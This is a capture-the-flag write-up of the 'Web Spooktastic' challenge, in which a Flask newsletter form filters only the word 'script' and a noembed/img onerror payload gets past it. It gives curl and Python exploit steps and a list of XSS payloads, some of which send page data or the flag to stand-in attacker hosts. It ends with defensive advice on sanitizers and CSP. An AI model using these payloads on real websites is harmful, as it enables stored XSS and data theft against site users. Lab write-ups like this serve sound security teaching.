HTB Hack The Boo Practice: Web Spooktastic
Challenge Information
| Attribute | Details |
|---|---|
| Event | Hack The Boo Practice |
| Category | Web |
| Challenge | Web Spooktastic |
| Difficulty | Very Easy |
Summary
A Flask application with Socket.IO implements a newsletter registration feature with XSS protection. However, the protection is naive - it only filters for the word “script” in lowercase. By using alternative HTML tags like noembed and onerror event handlers, an attacker can bypass the filter and inject JavaScript code. When the bot visits a vulnerable page with the payload, the injected script executes and the flag is transmitted via Socket.IO.
Analysis
The vulnerable application:
def blacklist_pass(email): email = email.lower() if "script" in email: return False return True
@app.route("/api/register", methods=["POST"])def register(): if not request.is_json or not request.json["email"]: return abort(400)
if not blacklist_pass(request.json["email"]): return abort(401)
registered_emails.append(request.json["email"]) Thread(target=start_bot, args=(request.remote_addr,)).start() return {"success":True}
@app.route("/bot")def bot(): if request.args.get("token", "") != BOT_TOKEN: return abort(404) return render_template("bot.html", emails=registered_emails)Vulnerabilities:
- Inadequate Blacklist Filter: Only checks for the literal string “script”
- Multiple XSS Payloads Available: HTML has many ways to execute JavaScript
- Stored XSS: User input is stored in
registered_emailsand later rendered - Bot Automation: A Selenium bot visits the vulnerable page, triggering the payload
- WebSocket Exfiltration: Socket.IO is used to send the flag back to attacker
The bot code:
def start_bot(user_ip): # ... browser setup ... try: browser.get(f"{HOST}/bot?token={BOT_TOKEN}") WebDriverWait(browser, 3).until(EC.alert_is_present()) alert = browser.switch_to.alert alert.accept() send_flag(user_ip) except Exception as e: passSolution
Filter Bypass Technique
The filter only checks for the string “script” (case-insensitive). We can bypass it using:
- Alternative HTML tags:
<noembed>,<embed>,<img>,<svg>,<iframe>,<object> - Event handlers:
onerror,onload,onclick,onmouseover,onmouseenter - Combining tags: Close the noembed tag and inject image with event handler
The Payload
From the notes, the working payload is:
<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>How it works:
<noembed>- A tag that embeds non-embedded content, not filtered<img title="- Starts an img tag with a title attribute</noembed>- Closes the noembed tag early<img src onerror=alert(1)>- New img tag without src triggers onerror>"></noembed>- Closes the title and noembed attributes
Step 1: Connect to the Application
// Client-side JavaScript to receive the flagconst socket = io();
socket.on('flag', function(data) { console.log('Flag received:', data.flag); // Send to external server fetch('http://attacker-server.com/flag?flag=' + data.flag);});Step 2: Register the XSS Payload
curl -X POST http://target:1337/api/register \ -H "Content-Type: application/json" \ -d '{"email":"<noembed><img title=\"</noembed><img src onerror=alert(1)>\"></noembed>"}'Step 3: Trigger the Bot
The bot automatically visits /bot?token=... and the payload executes.
Using Python
import requestsimport json
target = "http://target:1337"
# Payload that bypasses filterpayload = '<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>'
# Register with malicious emaildata = {"email": payload}response = requests.post( f"{target}/api/register", json=data, headers={"Content-Type": "application/json"})
print(response.json())# The bot will visit and trigger the XSSAdvanced Payloads for Different Scenarios
If the simple alert() is blocked, use:
<!-- Exfiltrate data via image --><noembed><img src=x onerror="fetch('http://attacker/exfil?data='+document.body.innerHTML)"></noembed>
<!-- Use setTimeout to delay execution --><noembed><img src=x onerror="setTimeout(function(){alert('XSS')}, 1000)"></noembed>
<!-- Direct script injection --><svg onload="alert('XSS')"></svg>
<!-- SVG alternative --><img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!-- Using unicode encoding to bypass "script" --><iframe src="data:text/html,<h1>test</h1><img src=x onerror=alert(1)>"></iframe>Key Takeaways
- Blacklist filters are insufficient for security - use whitelists instead
- HTML has dozens of ways to execute JavaScript - only a few tags matter for form input
- Never trust user input rendering - always sanitize using libraries like:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer (Java)
- Content Security Policy (CSP) helps mitigate XSS:
@app.after_requestdef set_csp(response): response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'" return response- Encoding vs. Sanitization:
- Encoding: Convert characters to HTML entities (safe for display)
- Sanitization: Remove dangerous tags (safe for rendering)
- Defense in depth:
- Input validation (reject known bad patterns)
- Output encoding (HTML escape all user content)
- Content Security Policy (limit what scripts can do)
- HTTPOnly cookies (prevent JavaScript access to session cookies)